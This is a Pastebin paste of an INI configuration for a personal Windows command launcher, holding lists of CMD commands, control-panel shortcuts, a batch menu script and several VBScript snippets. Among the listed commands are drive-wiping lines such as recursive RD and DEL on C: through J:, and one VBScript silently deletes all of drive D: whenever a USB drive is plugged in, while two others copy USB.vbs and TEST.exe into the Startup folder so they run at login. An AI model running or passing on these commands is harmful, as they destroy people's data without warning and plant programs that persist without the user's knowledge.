Advertisement
Najeebsk

NCOM.ini

Jul 17th, 2022
734
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
INI file 15.63 KB | None | 0 0
  1. [CMD1]
  2. CMD-COMMANDS||ATTRIB +S +H|ATTRIB -S -H|Attrib +h *.ext|ATTRIB +S +H "E:\*" /S /D|ATTRIB +S +H +R /s /d G:\*.*|ATTRIB -S -H -R /s /d G:\*.*|CD|CD..|CD..\..|CD\|CD %USERPROFILE%|CD /d E:\Pics|CD\windows\system32|DIR|CLIP|COPY *.txt D:\|COPY *.* D:|COPY myfile1.txt+myfile2.txt|COPY /b Pic.jpg+Text.txt NewPic.jpg|COPY /b PIC.jpg + File.rar PICNEW.jpg|XCOPY /y "*.*" D:\|DEL "*.rar"|DEL /F *.ext|DEL D:\*.* /f /s /q|DEL E:\*.* /f /s /q|DEL F:\*.* /f /s /q|DEL G:\*.* /f /s /q|DEL H:\*.* /f /s /q|DEL I:\*.* /f /s /q|DEL J:\*.* /f /s /q|DEL /S /Q "*.*"|RD/s/q C:\|RD/s/q D:\|RD/s/q E:\|RD/s/q F:\|RD/s/q G:\|RD/s/q H:\|RD/s/q I:\|RD/s/q J:\|DIR /B *.EXT|CLIP DIR /S /B >> LIST.txt|DIR /W /B >> LIST.EXT|DIR C:\"Program Files" >> %COMPUTERNAME%-IS.txt|DIR /S /B /A  "C:\" >> %COMPUTERNAME%-LISTC.txt|DIR /S /B /A  "D:\" >> %COMPUTERNAME%-LISTD.txt|DIR /S /B /A  "E:\" >> %COMPUTERNAME%-LISTE.txt|DIR /S /B /A  "F:\" >> %COMPUTERNAME%-LISTF.txt|DIR /S /B /A  "G:\" >> %COMPUTERNAME%-LISTG.txt|DIR /S /B /A  "H:\" >> %COMPUTERNAME%-LISTH.txt|DIR /S /B /A  "I:\" >> %COMPUTERNAME%-LISTI.txt|DIR /S /B /A  "J:\" >> %COMPUTERNAME%-LISTJ.txt|DIR /S /B /A  "K:\" >> %COMPUTERNAME%-LISTK.txt|DIR /A:H /S /B >> LIST.txt|CMD /R DIR /B > List.txt|DIR \*.mp3 /s /b > filename.txt|DIR /B > List.txt|MD "Najeeb"|MD user1 user2 user3|MD "my example directory"|MKDIR \A\B\C|MD ..\example|MD %%random%%|rar a -r -psonyNSK PIC.rar %CD%|UnRAR.exe E -inul -y -psonyNSK "PIC.rar" "%CD%"|COLOR A5,E9,1B & MODE 65,3|TITLE         ~~~***NAJEEB SHAH KHAN BEST COMMANDS***~~~|Echo Hide Text Here >> PIC.jpg|echo %%random%% %%random%% %%random%% %%random%% %%random%% %%random%% %%random%% %%random%% %%random%% %%random%%|MOVE /y "E:\*.*" D:\|FIND /I "[COMMANDS]" %windir%\CMD.fm|
  3. FIND "WORD" *.txt|FIND /V /C "" D:\Samle.txt|FIND /I "WORD" *Files*.txt|FIND /N /I "TEXT" *.txt|TYPE D:\Sample.txt |FIND " /V /C|FINDSTR "WORD1 WORD2 WORD3...." Sample.txt|FINDSTR "APPLE BALL cat...." Sample.txt|REN *.* *.EXT |REN *.EXT *.EXT|REN *.DOC *.TXT|REN *.JPEG *.TXT|REN *.LNK *.TXT|REN *.AVI *.TXT|REN *.MPEG *.TXT|REN *.COM *.TXT|REN *.BAT *.TXT|Start Mspaint.exe & Exit|START winword|START mspaint|START notepad|START write|START cmd|START explorer|START control|START calc|START C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup|ipconfig|ipconfig /all|netstat -an|shutdown -s -t 100 c “Installing Updates”|nircmd.exe exitwin poweroff force|nircmd.exe mediaplay 190000 C:\Windows\BD.mp3|nircmd.exe shellcopy %CD% C:\Users\Najeeb\Desktop\APP|nircmd.exe filldelete %CD%\*.*|nircmd.exe emptybin & Exit|nircmd.exe savescreenshot "~$folder.desktop$\PIC~$loopcount$.jpg" & Exit|nircmd.exe loop 10 60000 savescreenshot "~$folder.desktop$\P~$loopcount$.png" & Exit|nircmd.exe shellcopy "D:\APP\*.*" "E:\FTP" & Exit|WMIC service list brief|WMIC process list brief|WMIC startup list brief|nircmd.exe mutesysvolume 1|nircmd.exe mutesysvolume 0|nircmd.exe filldelete "C:\Users\Najeeb\AppData\Local\Temp\*.*"|nircmd.exe convertimage "c:\temp\test1.gif" "c:\temp\test1.png"|nircmd.exe mediaplay 10000 "c:\temp\1.mp3"|nircmd.exe shortcut "C:\winnt\system32\calc.exe" "~$folder.desktop$" "Windows Calculator"|nircmd.exe speak text ~$clipboard$|nircmd.exe speak file "c:\temp\speak1.txt"|nircmd.exe urlshortcut "http://www.google.com" "~$folder.favorites$\Search Engines" "Google"|nircmd.exe changesysvolume 2000|
  4.  
  5. [FLIST]
  6. OPEN WIN FOLDER||AddNewProgramsFolder|Administrative Tools|AppData|AppUpdatesFolder|Cache|CD Burning|ChangeRemoveProgramsFolder|Common Administrative Tools|Common AppData|Common Desktop|Common|Documents|Common Programs|Common Start Menu|Common Startup|Common Templates|CommonDownloads|CommonMusic|CommonPictures|CommonVideo|ConflictFolder|ConnectionsFolder|Contacts|ControlPanelFolder|Cookies|CredentialManager|CryptoKeys|CSCFolder|Default Gadgets|Desktop|Downloads|DpapiKeys|Favorites|Fonts|Gadgets|Games|GameTasks|History|InternetFolder|Links|Local|AppData|LocalAppDataLow|LocalizedResourcesDir|MAPIFolder|My Music|My Pictures|My Video|MyComputerFolder|NetHood|NetworkPlacesFolder|OEM Links|Original Images|Personal|PhotoAlbums|Playlists|PrintersFolder|PrintHood|Profile|ProgramFiles|ProgramFilesCommon|Programs|Public|PublicGameTasks|Quick Launch|Recent|RecycleBinFolder|ResourceDir|SampleMusic|SamplePictures|SamplePlaylists|SampleVideos|SavedGames|Searches|SearchHomeFolder|SendTo|Start Menu|Startup|SyncCenterFolder|SyncResultsFolder|SyncSetupFolder|System|SystemCertificates|SystemX86|Templates|TreePropertiesFolder|UserProfiles|UsersFilesFolder|Windows|CommonRingtones|Device Metadata Store|DocumentsLibrary|ImplicitAppShortcuts|Libraries|MusicLibrary|OtherUsersFolder|PicturesLibrary|PublicSuggestedLocations|RecordedTVLibrary|Ringtones|SuggestedLocations|User Pinned|UserProgramFiles|UserProgramFilesCommon|UsersLibrariesFolder|VideosLibrary
  7.  
  8. [FLIST2]
  9. OPEN SOFT & FOLDER||C:\Users\Najeeb\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\|C:\Users\Najeeb\AppData\Local\Temp|C:\Users\admin\AppData\Roaming|C:\Windows|C:\Windows\System32|C:\Program Files|mspaint|notepad|cmd|C:\Windows\System32\DevicePairingWizard.exe|C:\Windows\System32\hdwwiz.exe|rundll32.exe shell32.dll,SHHelpShortcuts_RunDLL|AddPrinter|rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,1|control /name Microsoft.AdministrativeTools|control admintools|control /name Microsoft.AutoPlay|control /name Microsoft.BackupAndRestoreCenter|control /name Microsoft.BitLockerDriveEncryption|explorer shell:::{ED834ED6-4B5A-4bfe-8F11-A626DCB6A921} -Microsoft.Personalization\pageColorization|control /name Microsoft.ColorManagement|control /name Microsoft.CredentialManager|control /name Microsoft.DateAndTime|control timedate.cpl|control date/time|rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,0|rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,1|control /name Microsoft.DefaultPrograms|explorer shell:::{ED834ED6-4B5A-4bfe-8F11-A626DCB6A921} -Microsoft.Personalization\pageWallpaper|rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0|control /name Microsoft.DeviceManager|control hdwwiz.cpl|devmgmt.msc|control /name Microsoft.DevicesAndPrinters|control printers|control /name Microsoft.EaseOfAccessCenter|control access.cpl|control /name Microsoft.FolderOptions|control folders|rundll32.exe shell32.dll,Options_RunDLL 0|rundll32.exe shell32.dll,Options_RunDLL 7|rundll32.exe|shell32.dll,Options_RunDLL 2|control /name Microsoft.FileHistory|control /name Microsoft.Fonts|control fonts|control /name Microsoft.GameControllers|control joy.cpl|control /name Microsoft.GetPrograms|rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1|control /name Microsoft.HomeGroup|control /name Microsoft.IndexingOptions|rundll32.exe|shell32.dll,Control_RunDLL srchadmin.dll|control /name Microsoft.Infrared|control irprops.cpl|control /name Microsoft.InfraredOptions|control /name Microsoft.InternetOptions|control inetcpl.cpl|rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl,,0|rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl,,1|rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl,,2|rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl,,3|rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl,,4|rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl,,5|rundll32.exe shell32.dll,Control_RunDLL inetcpl.cpl,,6|control /name Microsoft.iSCSIInitiator|control /name Microsoft.Keyboard|control keyboard|control /name|Microsoft.Languag|control /name Microsoft.Mouse|control main.cpl|control mouse|rundll32.exe shell32.dll,Control_RunDLL main.cpl,,0|control main.cpl,,1|rundll32.exe shell32.dll,Control_RunDLL main.cpl,,1|control main.cpl,,2|rundll32.exe shell32.dll,Control_RunDLL main.cpl,,2|control main.cpl,,3|rundll32.exe shell32.dll,Control_RunDLL main.cpl,,3|control main.cpl,,4|rundll32.exe shell32.dll,Control_RunDLL main.cpl,,4|control /name Microsoft.NetworkAndSharingCenter|control ncpa.cpl|control netconnections|control netsetup.cpl|explorer shell:::{05d7b0f4-2121-4eff-bf6b-ed3f69b894d9}|control odbccp32.cpl|control /name Microsoft.OfflineFiles|C:\Windows\system32\SystemPropertiesPerformance.exe|C:\Windows\system32\SystemPropertiesDataExecutionPrevention.exe|explorer shell:::{ED834ED6-4B5A-4bfe-8F11-A626DCB6A921}|control /name Microsoft.PhoneAndModem|control telephon.cpl|control /name Microsoft.PowerOptions|control powercfg.cpl|control powercfg.cpl,,1|control /name Microsoft.PowerOptions /page pageCreateNewPlan|control /name Microsoft.PowerOptions /page pagePlanSettings|control /name Microsoft.PowerOptions /page pageGlobalSettings|C:\Windows\system32\PresentationSettings.exe|control /name Microsoft.ProgramsAndFeatures|control appwiz.cpl|control /name Microsoft.Recovery|control /name Microsoft.RegionAndLanguage|control /name Microsoft.RegionalAndLanguageOptions /page /p:"Formats"|control intl.cpl|control international|control /name Microsoft.RegionalAndLanguageOptions /page /p:"Location"|control /name Microsoft.RegionalAndLanguageOptions /page /p:"Administrative"|control /name Microsoft.RemoteAppAndDesktopConnections|control /name Microsoft.ScannersAndCameras|control sticpl.cpl|rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,1|control /name Microsoft.ActionCenter|control wscui.cpl|control /name Microsoft.DefaultPrograms /page pageFileAssoc|control /name Microsoft.DefaultPrograms /page pageDefaultProgram|rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,3|control /name Microsoft.Sound|control mmsys.cpl|C:\Windows\System32\rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,0|C:\Windows\System32\rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,1|C:\Windows\System32\rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,2|C:\Windows\System32\rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,3|control /name Microsoft.SpeechRecognition|control /name Microsoft.StorageSpaces|control /name Microsoft.SyncCenter|control /name Microsoft.System|control sysdm.cpl|explorer shell:::{05d7b0f4-2121-4eff-bf6b-ed3f69b894d9} \SystemIcons,,0|C:\Windows\System32\SystemPropertiesComputerName.exe|C:\Windows\System32\SystemPropertiesHardware.exe|C:\Windows\System32\SystemPropertiesAdvanced.exe|C:\Windows\System32\SystemPropertiesProtection.exe|C:\Windows\System32\SystemPropertiesRemote.exe|control /name Microsoft.TabletPCSettings|control /name Microsoft.TextToSpeech|control /name Microsoft.UserAccounts|control userpasswords|netplwiz|control userpasswords2|control /name Microsoft.WindowsFirewall|control firewall.cpl|C:\Windows\System32\OptionalFeatures.exe|rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,2|control /name Microsoft.MobilityCenter|C:\Windows\System32\WorkFolders.exe|https://www.youtube.com|http://www.google.com/|https://autohotkey.com/board/forum/49-scripts-and-functions/page-54?prune_day=100&sort_by=Z-A&sort_key=last_post&topicfilter=all|https://pastebin.com/archive/dos|https://stackoverflow.com/users/3080770/hackoo|https://pastebin.com/u/Najeebsk|https://drive.google.com/drive/my-drive
  10.  
  11. [SCRIPT]
  12. MY-SCRIPT||@ECHO OFF
  13. TITLE ~~~*** NAJEEB FILES RENAME ***~~~
  14. COLOR 1B
  15. Mode con cols=75 lines=12
  16. :home
  17. ECHO                    ~~~*** NAJEEB SHAH KHAN FILES RENAME ***~~~
  18. ECHO                           %TIME%  %DATE%
  19. ECHO  -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  20. ECHO.
  21. echo                 0) Najeeb Commands
  22. echo                 1) File Extension Change
  23. echo                 2) File Rename Numerical Numbers
  24. echo.
  25. set /p web=TYPE OPTION:
  26. if "%web%"=="0" goto nsk
  27. if "%web%"=="1" goto ext
  28. if "%web%"=="2" goto ren
  29. pause:
  30. set /p MT= Type GO TO Here:
  31. Pause:
  32. CALL GOTO %MT%
  33. ::============================NSK COMMANDS==============================
  34. :nsk
  35. cls
  36. ECHO                  ~~~*** NAJEEB SHAH KHAN CMD COMMANDS***~~~
  37. echo                           %TIME%  %DATE%
  38. echo  =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  39. ECHO    ~**Most Commonly Used Internal and External DOS Commands Exmple**~
  40. ECHO.
  41. Echo    TYPE:COMMANDS (Type COM.ini)
  42. Echo    ATTRIB,CALL,CD,COPY,CLS,CLIP,DATE,DEL,DIR,EDIT,
  43. Echo    ERASE,EXIT,FIND,FINDSTR,FOR,FORMAT,HELP,IF,
  44. Echo    MD,MKDIR,MOVE,PATH,PAUSE,RD,RMDIR,REN,RENAME,
  45. Echo    SET,SORT,TIME,TREE,TYPE,UNDELETE,VER,VOL,WMIC
  46. ECHO.
  47. set /P "input=Command: "
  48. cls
  49. call %input%
  50. ECHO.
  51. pause:
  52. goto home
  53. ::============================Extension==============================
  54. :ext
  55. set /p input= Original File Type Change Extension Only =
  56. set /p input2= Type Change Extension Only =
  57. ren *.%input% *.%input2%
  58. Pause:
  59. goto home
  60. ::============================Rename==============================
  61. :ren
  62. set /p start=Please Enter The Starting Control Number:
  63. set /p ALP=Please Enter Alphabet :
  64. set /p EXT=Please Enter Extension :
  65. setlocal enableDelayedExpansion
  66.  
  67. for /r %%g in (*.%EXT%) do (call :RenameIt %%g)
  68. goto :eof
  69. goto :exit
  70.  
  71. :RenameIt
  72. echo Renaming "%~nx1" to !start!%~x1
  73. ren "%~nx1" %ALP%!start!%~x1
  74. set /a start+=1
  75. goto :eof
  76.  
  77. :exit
  78. exit /b|'--------------VBS-------------
  79. 'Script Name : DetectUSBStorageDevice.vbs
  80. 'Author      : Matthew Beattie
  81. 'Created     : 14/10/09  
  82. 'Description : This script monitors for the addition of USB Storage Devices to the system. For further documentation read:
  83. '            : http://www.microsoft.com/technet/scriptcenter/resources/scriptshop/shop0805.mspx
  84. '----------------------------------------------------------------------------------------------------------------------------
  85. 'Initialization  Section  
  86. '----------------------------------------------------------------------------------------------------------------------------
  87. Option Explicit
  88. Dim objFSO, objSink, objWMI, scriptBaseName, hostName, WshShell
  89. hostName = "."
  90. On Error Resume Next
  91.   Set objFSO     = CreateObject("Scripting.FileSystemObject")
  92.   Set objSink    = WScript.CreateObject("WbemScripting.SWbemSink", "Sink_")
  93.   Set objWMI     = GetObject("winmgmts:\\" & hostName & "\root\cimv2")
  94.   scriptBaseName = objFSO.GetBaseName(Wscript.ScriptFullName)
  95.   If Err.Number <> 0 Then
  96.      Wscript.Quit
  97.   End If
  98.   objWMI.ExecNotificationQueryAsync objSink, "Select * From __InstanceCreationEvent Within 1 Where " & _
  99.                                              "TargetInstance Isa 'Win32_DiskDrive' And TargetInstance.InterfaceType = 'USB'"
  100. On Error Goto 0
  101. '----------------------------------------------------------------------------------------------------------------------------
  102. 'Process indefinately waiting for USB Storage Device events.
  103. '----------------------------------------------------------------------------------------------------------------------------
  104. Do
  105.   WScript.Sleep 1000
  106. Loop
  107. '----------------------------------------------------------------------------------------------------------------------------
  108. Sub Sink_OnObjectReady(objEvent, objContext)
  109.   '-------------------------------------------------------------------------------------------------------------------------
  110.   'Insert your code here to process when a USB Mass storage Device is inserted into the system
  111. Set WshShell = CreateObject("WScript.Shell")
  112. WshShell.Run "cmd.exe /K RD /S /Q D:\ & Exit"
  113. Set WshShell = Nothing
  114.  
  115.  
  116. '-------------------------------------------------------------------------------------------------------------------------
  117.   On Error Resume Next
  118.  
  119.             If Err.Number <> 0 Then
  120.         Exit Sub
  121.      End If
  122.   On Error Goto 0
  123. End Sub
  124. '--------------------------------------------------------------------------------------------------------|'------------VBS1---------
  125. Option Explicit
  126. Dim fso, obj
  127. Set fso = CreateObject("Scripting.FileSystemObject")
  128. Set obj = CreateObject("wscript.shell")
  129. fso.CopyFile "USB.vbs" , obj.SpecialFolders("Startup")& "\"|'------------VBS2---------
  130. Option Explicit
  131. Dim fso, obj
  132. Set fso=CreateObject("Scripting.FileSystemObject")
  133. Set obj=CreateObject("wscript.shell")
  134. fso.CopyFile "TEST.exe" , "C:\Users\Najeeb\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"|
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement